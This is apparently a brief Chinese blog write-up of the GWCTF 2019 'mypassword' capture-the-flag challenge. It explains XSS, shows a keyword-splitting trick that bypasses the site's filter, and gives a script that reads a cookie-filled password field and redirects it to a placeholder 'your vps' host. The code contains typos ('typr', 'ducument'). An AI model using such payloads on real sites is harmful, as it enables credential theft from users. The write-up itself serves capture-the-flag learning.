xss

xss

十二月 16, 2021

原理

xss漏洞,对用户输入的数据完全信任,导致再html中插入恶意的js代码,使用户的 导致用户的信息泄露。

利用方式

构造恶意的前端代码,将用户信息带出

例子

[GWCTF 2019]mypassword

先注册登入

提示密码在源码里,而且不能注入,猜测flag就是密码。

反馈界面可以用户提交,

先提交个1试一下

可以看到1被写入的前端代码中

在这里就可以使用xss写入恶意的前端代码

先用alert测试一下

看来是有过滤

看下源码

过滤的还蛮多,用scrcookieipt绕过过滤

成功了

接下来就是想怎么把password带出来

在login界面有login.js

把cookie中的password写到了html的password元素中

所以构造

1
2
3
4
5
6
7
8
9
<input type='text' name='username'>
<input typr='password' name='password'>
<script src="./js/login.js"></script>
<script>
var h=document.getElementsByName('password');
var j='your vps'+h;
ducument.location=j;
</script>

得到flag